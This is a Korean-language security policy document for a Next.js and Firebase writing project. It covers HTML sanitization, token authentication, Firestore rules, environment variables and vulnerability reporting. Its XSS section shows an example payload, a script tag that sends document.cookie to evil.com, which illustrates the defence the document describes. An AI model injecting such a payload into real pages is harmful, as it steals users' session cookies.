7.9 KiB
7.9 KiB
Security Policy
라온누리 프로젝트의 보안 정책 및 구현 내역을 문서화합니다.
🔒 보안 조치 요약
| 보안 영역 | 조치 | 상태 | 적용일 |
|---|---|---|---|
| XSS 방지 | HTML Sanitization | ✅ 적용 완료 | 2025-11-19 |
| 인증 | Firebase Auth | ✅ 적용 완료 | 2025-10-xx |
| API 인증 | JWT Token (ID Token) | ✅ 적용 완료 | 2025-10-xx |
| SQL Injection | Firestore (NoSQL) | ✅ 원천 방지 | - |
| CSRF | SameSite Cookies | 🚧 검토 필요 | - |
| Rate Limiting | API 요청 제한 | ⏳ 예정 | - |
1. XSS (Cross-Site Scripting) 방지
문제점
- 사용자가 작성한 글 (
writings컬렉션)의content필드는 HTML 문자열로 저장됩니다. - Tiptap 에디터는 안전한 HTML을 생성하지만, 악의적인 사용자가 API를 직접 호출하여 악성 스크립트를 주입할 수 있습니다.
공격 시나리오:
// 악의적인 API 호출
POST /api/writing
{
"title": "정상 제목",
"content": "<p>정상 내용</p><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
}
해결책: HTML Sanitization
백엔드 자동 세탁 (src/lib/server/writing.ts):
import { sanitizeHtml } from "@/utils/sanitizeHtml";
// 글 생성 시 자동 세탁 (Line 46-47)
const sanitizedTitle = sanitizeHtml(data.title);
const sanitizedContent = sanitizeHtml(data.content);
// 글 수정 시 자동 세탁 (Line 199-203)
if (data.title) {
updateData.title = sanitizeHtml(data.title);
}
if (data.content) {
updateData.content = sanitizeHtml(data.content);
}
세탁 규칙 (src/utils/sanitizeHtml.ts):
- ✅ 허용된 태그:
<p>,<strong>,<em>,<h1-6>,<ul>,<ol>,<li>,<a>,<img>,<blockquote>,<code>, 등 (Tiptap 기본) - ❌ 차단된 태그:
<script>,<iframe>,<object>,<embed>,<style>,<link>,<meta>, 등 - ❌ 차단된 속성:
onerror,onclick,onmouseover, 모든on*이벤트 핸들러 - ❌ 차단된 프로토콜:
javascript:, 위험한data:URI
라이브러리: sanitize-html (서버 사이드 전용, Next.js와 호환성 우수)
테스트 커버리지: 26개 유닛 테스트 (src/utils/__tests__/sanitizeHtml.test.ts)
- ✅ 안전한 HTML 보존 테스트 (7개)
- ✅ XSS 공격 벡터 차단 테스트 (10개)
- ✅ Edge case 처리 (4개)
- ✅ 실제 Tiptap HTML 호환성 (2개)
- ✅ 배치 처리 및 객체 세탁 (3개)
성능 영향:
- DOMPurify는 빠른 성능 (평균 1-2ms per document)
- 글 저장 시 한 번만 실행 (조회 시 불필요)
2. 인증 (Authentication)
Firebase Authentication
- 제공자: Email/Password, Google OAuth
- 익명 로그인: 팀 코드 기반 (Level 1 보안)
- 정식 계정: Google 계정 연동, 이메일/비밀번호
API 인증
모든 API 요청은 Firebase ID Token 검증:
// src/lib/auth.ts
export async function requireAuth(authHeader: string | null) {
if (!authHeader?.startsWith("Bearer ")) {
throw new Error("인증 토큰이 없습니다.");
}
const idToken = authHeader.substring(7);
const decodedToken = await adminAuth.verifyIdToken(idToken);
return decodedToken;
}
적용 위치: 모든 POST, PUT, DELETE API 엔드포인트
3. 권한 관리 (Authorization)
글 소유권 검증
- 사용자는 본인의 글만 조회/수정/삭제 가능
- 백엔드에서
userId검증:
// src/lib/server/writing.ts
export async function isWritingOwner(writingId: string, userId: string): Promise<boolean> {
const writing = await getWriting(writingId);
return writing !== null && writing.userId === userId;
}
팀 권한
- 소유자(Owner): 팀 설정 변경, 멤버 관리, 삭제
- 멤버: 팀 조회, 주제 작성, 탈퇴
4. SQL Injection 방지
Firestore 사용으로 원천 차단:
- NoSQL 데이터베이스 사용
- 쿼리는 타입 안전한 SDK로만 실행
- Raw SQL 쿼리 불가능
5. 데이터 보호
민감 정보 처리
- 이메일: Firebase Auth에만 저장 (Firestore에 중복 저장 안 함)
- 비밀번호: Firebase Auth가 암호화 관리
- API 키: 환경 변수로 관리 (
.env파일,.gitignore적용)
Firestore 보안 규칙
// firestore.rules (예정)
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
// 사용자는 본인 문서만 읽기/쓰기
match /users/{userId} {
allow read, write: if request.auth != null && request.auth.uid == userId;
}
// 글은 소유자만 수정/삭제
match /writings/{writingId} {
allow read: if request.auth != null;
allow create: if request.auth != null;
allow update, delete: if request.auth.uid == resource.data.userId;
}
// 댓글: 누구나 읽기 가능, 작성자만 수정, 작성자/글소유자/팀소유자 삭제
match /comments/{commentId} {
allow read: if request.auth != null;
allow create: if request.auth != null;
allow update: if request.auth.uid == resource.data.userId;
allow delete: if request.auth.uid == resource.data.userId ||
(resource.data.writingUserId == request.auth.uid) ||
(resource.data.teamOwnerId == request.auth.uid);
}
}
}
6. HTTPS 강제
Production 환경:
- ✅ Vercel 배포 시 자동 HTTPS 적용
- ✅ HTTP → HTTPS 자동 리다이렉트
- ✅ HSTS 헤더 설정
7. 환경 변수 보호
민감 정보 관리:
# .env.local (로컬 개발)
NEXT_PUBLIC_FIREBASE_API_KEY=xxx
NEXT_PUBLIC_FIREBASE_AUTH_DOMAIN=xxx
FIREBASE_SERVICE_ACCOUNT_KEY=xxx # 서버 전용
보안 체크리스트:
- ✅
.env파일은.gitignore에 포함 - ✅
NEXT_PUBLIC_*은 클라이언트 노출 가능 (Firebase API Key) - ✅ 서버 전용 변수는
NEXT_PUBLIC_접두어 없이 사용 - ✅ Production 환경 변수는 Vercel에서 관리
8. Rate Limiting (예정)
계획 중인 조치:
- API 엔드포인트별 요청 제한 (예: 1분당 60회)
- DDoS 방지
- Vercel Edge Functions + Upstash Redis 고려
9. 보안 취약점 발견 시
보고 절차
- 즉시 보고: GitHub Issues에 비공개 이슈 생성 (Security Advisories 사용)
- 제목 형식:
[SECURITY] 취약점 요약 - 포함 정보:
- 취약점 설명
- 재현 방법 (PoC)
- 영향 범위
- 제안 해결책
보안 업데이트 절차
- 취약점 확인 및 우선순위 설정
- 패치 개발 및 테스트
- 긴급 배포 (Critical 취약점)
- 공개 공지 (패치 후)
10. 보안 체크리스트 (개발자용)
새 기능 개발 시 확인 사항:
- 사용자 입력 검증 (클라이언트 + 서버)
- HTML/SQL Injection 방지
- 인증/권한 확인
- 민감 정보 로깅 금지
- HTTPS 사용
- 환경 변수 적절히 관리
- 에러 메시지에 민감 정보 노출 금지
- 보안 테스트 작성
의존성 관리:
# 정기적으로 취약점 검사
npm audit
npm audit fix
# 의존성 업데이트
npm update
11. 참고 자료
12. 보안 업데이트 이력
| 날짜 | 조치 | 설명 |
|---|---|---|
| 2025-11-19 | XSS 방지 | HTML Sanitization 구현 (DOMPurify) |
| 2025-10-xx | 인증 시스템 | Firebase Auth 적용 |
| 2025-10-xx | API 인증 | ID Token 검증 적용 |
Last Updated: 2025-11-19 Security Contact: 프로젝트 이슈 트래커